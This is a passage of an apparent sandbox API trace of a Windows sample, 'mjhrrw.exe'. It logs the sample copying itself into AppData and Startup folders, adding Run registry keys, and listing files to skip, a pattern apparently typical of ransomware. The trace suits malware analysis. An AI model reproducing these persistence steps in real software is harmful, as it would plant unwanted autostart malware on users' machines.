0x178a40 [0069.313] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95f7ec | out: phkResult=0x95f7ec*=0x1e4) returned 0x0 [0069.313] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95f7e8, lpData=0x179ff8, lpcbData=0x95f7f0*=0x5a | out: lpType=0x95f7e8*=0x0, lpData=0x179ff8*=0x0, lpcbData=0x95f7f0*=0x5a) returned 0x2 [0069.313] RegCloseKey (hKey=0x1e4) returned 0x0 [0069.313] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95f800 | out: phkResult=0x95f800*=0x1e4) returned 0x0 [0069.313] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95f7fc, lpData=0x179ff8, lpcbData=0x95f804*=0x5a | out: lpType=0x95f7fc*=0x2, lpData=0x179ff8*=0x0, lpcbData=0x95f804*=0x78) returned 0xea [0069.313] RegCloseKey (hKey=0x1e4) returned 0x0 [0069.313] GetProcessHeap () returned 0x170000 [0069.314] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178a40 | out: hHeap=0x170000) returned 1 [0069.314] GetProcessHeap () returned 0x170000 [0069.314] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.314] GetProcessHeap () returned 0x170000 [0069.314] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x179f60 | out: hHeap=0x170000) returned 1 [0069.314] GetProcessHeap () returned 0x170000 [0069.314] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x17a0c8, Size=0x1e2) returned 0x18a090 [0069.314] GetProcessHeap () returned 0x170000 [0069.314] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e2) returned 0x18a280 [0069.314] GetProcessHeap () returned 0x170000 [0069.314] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.314] GetProcessHeap () returned 0x170000 [0069.314] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x10) returned 0x177c90 [0069.314] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95f7ec | out: phkResult=0x95f7ec*=0x1e4) returned 0x0 [0069.314] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x95f7e8, lpData=0x18a280, lpcbData=0x95f7f0*=0x1e2 | out: lpType=0x95f7e8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x95f7f0*=0x98) returned 0x0 [0069.314] RegCloseKey (hKey=0x1e4) returned 0x0 [0069.314] GetProcessHeap () returned 0x170000 [0069.314] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x177c90 | out: hHeap=0x170000) returned 1 [0069.314] GetProcessHeap () returned 0x170000 [0069.314] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x178a40 [0069.314] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95f7ec | out: phkResult=0x95f7ec*=0x1e4) returned 0x0 [0069.314] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95f7e8, lpData=0x18a318, lpcbData=0x95f7f0*=0x14a | out: lpType=0x95f7e8*=0x0, lpData=0x18a318*=0x0, lpcbData=0x95f7f0*=0x14a) returned 0x2 [0069.314] RegCloseKey (hKey=0x1e4) returned 0x0 [0069.314] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95f800 | out: phkResult=0x95f800*=0x1e4) returned 0x0 [0069.315] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95f7fc, lpData=0x18a318, lpcbData=0x95f804*=0x14a | out: lpType=0x95f7fc*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x95f804*=0x78) returned 0x0 [0069.315] RegCloseKey (hKey=0x1e4) returned 0x0 [0069.315] GetProcessHeap () returned 0x170000 [0069.315] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178a40 | out: hHeap=0x170000) returned 1 [0069.315] GetProcessHeap () returned 0x170000 [0069.315] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.315] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x18a090, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0069.315] GetProcessHeap () returned 0x170000 [0069.315] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a280 | out: hHeap=0x170000) returned 1 [0069.315] GetProcessHeap () returned 0x170000 [0069.315] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17dcd8 | out: hHeap=0x170000) returned 1 [0069.315] GetProcessHeap () returned 0x170000 [0069.315] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x178a40 [0069.315] GetProcessHeap () returned 0x170000 [0069.315] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x12) returned 0x180f20 [0069.315] GetProcessHeap () returned 0x170000 [0069.315] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x12) returned 0x180ec0 [0069.315] GetProcessHeap () returned 0x170000 [0069.315] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.315] GetProcessHeap () returned 0x170000 [0069.315] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.315] ExpandEnvironmentStringsW (in: lpSrc="sfor.txt", lpDst=0x180f20, nSize=0x9 | out: lpDst="sfor.txt") returned 0x9 [0069.315] GetProcessHeap () returned 0x170000 [0069.315] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x180ec0 | out: hHeap=0x170000) returned 1 [0069.315] GetProcessHeap () returned 0x170000 [0069.315] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178a40 | out: hHeap=0x170000) returned 1 [0069.315] GetProcessHeap () returned 0x170000 [0069.316] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18a280 [0069.316] GetProcessHeap () returned 0x170000 [0069.316] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18a498 [0069.316] GetProcessHeap () returned 0x170000 [0069.316] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18a6b0 [0069.316] GetProcessHeap () returned 0x170000 [0069.316] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18a8c8 [0069.316] GetProcessHeap () returned 0x170000 [0069.316] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18aae0 [0069.316] GetProcessHeap () returned 0x170000 [0069.316] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18acf8 [0069.316] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18a498, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0069.316] GetProcessHeap () returned 0x170000 [0069.316] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18af10 [0069.317] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18af10, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0069.317] GetProcessHeap () returned 0x170000 [0069.317] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18af10 | out: hHeap=0x170000) returned 1 [0069.317] GetProcessHeap () returned 0x170000 [0069.317] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18af10 [0069.317] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18af10, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0069.317] GetProcessHeap () returned 0x170000 [0069.317] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18af10 | out: hHeap=0x170000) returned 1 [0069.317] GetProcessHeap () returned 0x170000 [0069.317] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18af10 [0069.317] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18af10, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0069.317] GetProcessHeap () returned 0x170000 [0069.317] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18af10 | out: hHeap=0x170000) returned 1 [0069.317] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mjhrrw.exe"), bFailIfExists=0) returned 1 [0069.955] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x95f8e4 | out: phkResult=0x95f8e4*=0x1e4) returned 0x0 [0069.955] RegSetValueExW (hKey=0x1e4, lpValueName="mjhrrw", Reserved=0x0, dwType=0x1, lpData=0x18a8c8, cbData=0x50) returned 0x5 [0069.955] RegCloseKey (hKey=0x1e4) returned 0x0 [0069.956] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x95f8f8 | out: phkResult=0x95f8f8*=0x1e4) returned 0x0 [0069.956] RegSetValueExW (in: hKey=0x1e4, lpValueName="mjhrrw", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe", cbData=0x50 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe") returned 0x0 [0070.006] RegCloseKey (hKey=0x1e4) returned 0x0 [0070.006] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\sfor.txt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\sfor.txt"), bFailIfExists=1) returned 0 [0070.007] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\sfor.txt")) returned 0xffffffff [0070.007] GetProcessHeap () returned 0x170000 [0070.007] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x118) returned 0x17a7f0 [0070.007] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), bFailIfExists=1) returned 1 [0070.081] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\sfor.txt"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), bFailIfExists=1) returned 0 [0070.082] GetFileAttributesW (lpFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt")) returned 0xffffffff [0070.082] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), bFailIfExists=1) returned 0 [0070.084] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\sfor.txt"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), bFailIfExists=1) returned 0 [0070.084] GetFileAttributesW (lpFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt")) returned 0xffffffff [0070.084] GetProcessHeap () returned 0x170000 [0070.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17a7f0 | out: hHeap=0x170000) returned 1 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x180f20 | out: hHeap=0x170000) returned 1 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a280 | out: hHeap=0x170000) returned 1 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a498 | out: hHeap=0x170000) returned 1 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a6b0 | out: hHeap=0x170000) returned 1 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a8c8 | out: hHeap=0x170000) returned 1 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18aae0 | out: hHeap=0x170000) returned 1 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18acf8 | out: hHeap=0x170000) returned 1 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1781c8 | out: hHeap=0x170000) returned 1 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17ad60 | out: hHeap=0x170000) returned 1 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a090 | out: hHeap=0x170000) returned 1 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c0f8 [0070.085] GetProcessHeap () returned 0x170000 [0070.085] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c238 [0070.086] GetProcessHeap () returned 0x170000 [0070.086] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c198 [0070.086] GetProcessHeap () returned 0x170000 [0070.086] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0070.086] GetProcessHeap () returned 0x170000 [0070.086] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0070.086] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c238, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0070.086] GetProcessHeap () returned 0x170000 [0070.086] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c198 | out: hHeap=0x170000) returned 1 [0070.086] GetProcessHeap () returned 0x170000 [0070.086] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0f8 | out: hHeap=0x170000) returned 1 [0070.086] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95f90c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95f90c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0070.086] GetProcessHeap () returned 0x170000 [0070.086] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c238 | out: hHeap=0x170000) returned 1 [0070.086] GetProcessHeap () returned 0x170000 [0070.086] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x28) returned 0x17ee00 [0070.086] GetProcessHeap () returned 0x170000 [0070.086] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x10) returned 0x177cd8 [0070.086] GetProcessHeap () returned 0x170000 [0070.086] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x190) returned 0x17af38 [0070.086] GetProcessHeap () returned 0x170000 [0070.086] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x60) returned 0x1781c8 [0070.086] GetProcessHeap () returned 0x170000 [0070.087] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x5a) returned 0x173f60 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x173f60, Size=0xb2) returned 0x17b588 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x184) returned 0x17a5c8 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x10) returned 0x177d80 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18b718 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x250) returned 0x18b930 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0xa0) returned 0x17ae28 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x96) returned 0x17b6a0 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x96) returned 0x17a4a0 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0070.087] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt", lpDst=0x17b6a0, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt") returned 0x4b [0070.087] GetProcessHeap () returned 0x170000 [0070.087] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17a4a0 | out: hHeap=0x170000) returned 1 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17ae28 | out: hHeap=0x170000) returned 1 [0070.087] GetProcessHeap () returned 0x170000 [0070.087] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x70) returned 0x173f60 [0070.087] GetProcessHeap () returned 0x170000 [0070.088] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x62) returned 0x17ad60 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x62) returned 0x1704a0 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0070.088] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x17ad60, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1704a0 | out: hHeap=0x170000) returned 1 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x17ad60, Size=0xc2) returned 0x17a4a0 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0xc2) returned 0x17b458 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0070.088] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x17a4a0, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17b458 | out: hHeap=0x170000) returned 1 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x173f60 | out: hHeap=0x170000) returned 1 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18bb88 [0070.088] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bb88, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0070.088] GetProcessHeap () returned 0x170000 [0070.088] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb88 | out: hHeap=0x170000) returned 1 [0070.088] GetProcessHeap () returned 0x170000 [0070.089] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x24e) returned 0x18bb88 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x18bb88, Size=0x3cc) returned 0x18a090 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x98) returned 0x17ae28 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x17ae28, Size=0xae) returned 0x17ae28 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x6a) returned 0x173f60 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18b718 | out: hHeap=0x170000) returned 1 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18b930 | out: hHeap=0x170000) returned 1 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17b6a0 | out: hHeap=0x170000) returned 1 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17a4a0 | out: hHeap=0x170000) returned 1 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x177cd8 | out: hHeap=0x170000) returned 1 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17af38 | out: hHeap=0x170000) returned 1 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1781c8 | out: hHeap=0x170000) returned 1 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17a5c8 | out: hHeap=0x170000) returned 1 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x18c058 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x18c0a8 [0070.089] GetProcessHeap () returned 0x170000 [0070.089] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x18c198 [0070.090] GetProcessHeap () returned 0x170000 [0070.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0070.090] GetProcessHeap () returned 0x170000 [0070.090] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0070.090] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x18c0a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0070.090] GetProcessHeap () returned 0x170000 [0070.090] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c198 | out: hHeap=0x170000) returned 1 [0070.090] GetProcessHeap () returned 0x170000 [0070.090] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c058 | out: hHeap=0x170000) returned 1 [0070.090] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95f90c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95f90c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0070.090] GetProcessHeap () returned 0x170000 [0070.090] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c0a8 | out: hHeap=0x170000) returned 1 [0070.090] GetProcessHeap () returned 0x170000 [0070.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x28) returned 0x17ed70 [0070.090] GetProcessHeap () returned 0x170000 [0070.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x10) returned 0x177cd8 [0070.090] GetProcessHeap () returned 0x170000 [0070.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x190) returned 0x17af38 [0070.090] GetProcessHeap () returned 0x170000 [0070.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x60) returned 0x1781c8 [0070.090] GetProcessHeap () returned 0x170000 [0070.090] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x5a) returned 0x17ad60 [0070.090] GetProcessHeap () returned 0x170000 [0070.091] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x17ad60, Size=0xb2) returned 0x17b6a0 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x184) returned 0x17a5c8 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] RtlAllocateHeap 